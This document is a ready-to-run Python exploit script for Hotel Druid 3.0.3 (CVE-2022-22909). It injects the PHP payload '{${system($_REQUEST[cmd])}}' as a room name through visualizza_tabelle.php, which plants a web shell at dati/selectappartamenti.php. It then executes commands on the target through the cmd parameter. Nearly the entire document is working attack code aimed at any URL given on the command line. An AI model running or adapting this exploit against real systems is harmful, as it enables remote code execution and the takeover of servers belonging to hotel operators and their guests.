HotelDruidExploit.py

#!/usr/bin/python

import requests
import re
import argparse

# Title : Hotel Druid 3.0.3 - Remote Code Execution (RCE) 
# Author : kaal
# Github : https://github.com/kaal18
# HackTheBox : https://app.hackthebox.com/profile/248660
# Vendor Homepage: https://www.hoteldruid.com/
# Software Link: https://www.hoteldruid.com/download/hoteldruid_3.0.3.tar.gz
# Version: 3.0.3
# CVE : CVE-2022-22909

db = None
#URL = "http://127.0.0.1/hoteldruid"
URL = None


def getDb():
	url = URL + "/inizio.php"
	r = requests.get(url)
	db = str(r.content).split('<a class=\"nav\" id=\"nb_men\" href=\"./inizio.php?')[1].split('=')[1].split('"')[0]
	db = str(db)
	return db

def already_exploited():
	url = URL + "/visualizza_tabelle.php"
	params = {'anno':db,'tipo_tabella':'appartamenti'}
	r = requests.get(url,params=params)
	payload = "{${system($_REQUEST[cmd])}}"

	# Regex match , Education purpose only
	pa = "\{\$\{system\(\$\_REQUEST\[cmd\]\)\}\}"
	reg = re.search(pa,r.text)
	#print(reg)

	if payload in r.text:
		print("Already Exploitd , Please visit below URL.")
		print(URL+"/dati/selectappartamenti.php?cmd=whoami")
		exit()
	else :
		print("Exploiting ")
		pass	


def newroom():
	db = getDb()
	url = URL + "/visualizza_tabelle.php"
	# n_app = 1337 is create new room nm.
	data = {'anno':db,'tipo_tabella':'appartamenti','crea_app':1,'n_app':"{${system($_REQUEST[cmd])}}"}
	headers = {}
	r = requests.post(url,data=data)

	data = {'anno':db,'n_app':"{${system($_REQUEST[cmd])}}",'crea_app':'SI','tipo_tabella':'appartamenti'}
	r = requests.post(url,data=data)
	
	if r.ok:
		print("Room is added With payload . .")
	else :
		print("Sory room can't be added")
		exit()



def exploit():
	shell = 'whoami'
	url = URL + "/dati/selectappartamenti.php"

	params = {'cmd':shell}
	
	r = requests.get(url,params=params)
	print("status Code : ",r.status_code)
	print(r.text)
	print("Exploitation url : " ,r.url)
	

# Parsing Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-u','--url',type=str,dest='URL',help="Provide URL Ex. http://127.0.0.1/hoteldruid ")
args = parser.parse_args()
print("You entered : ",args.URL)
URL = args.URL

def main():

	already_exploited()

	newroom()
	exploit()
main()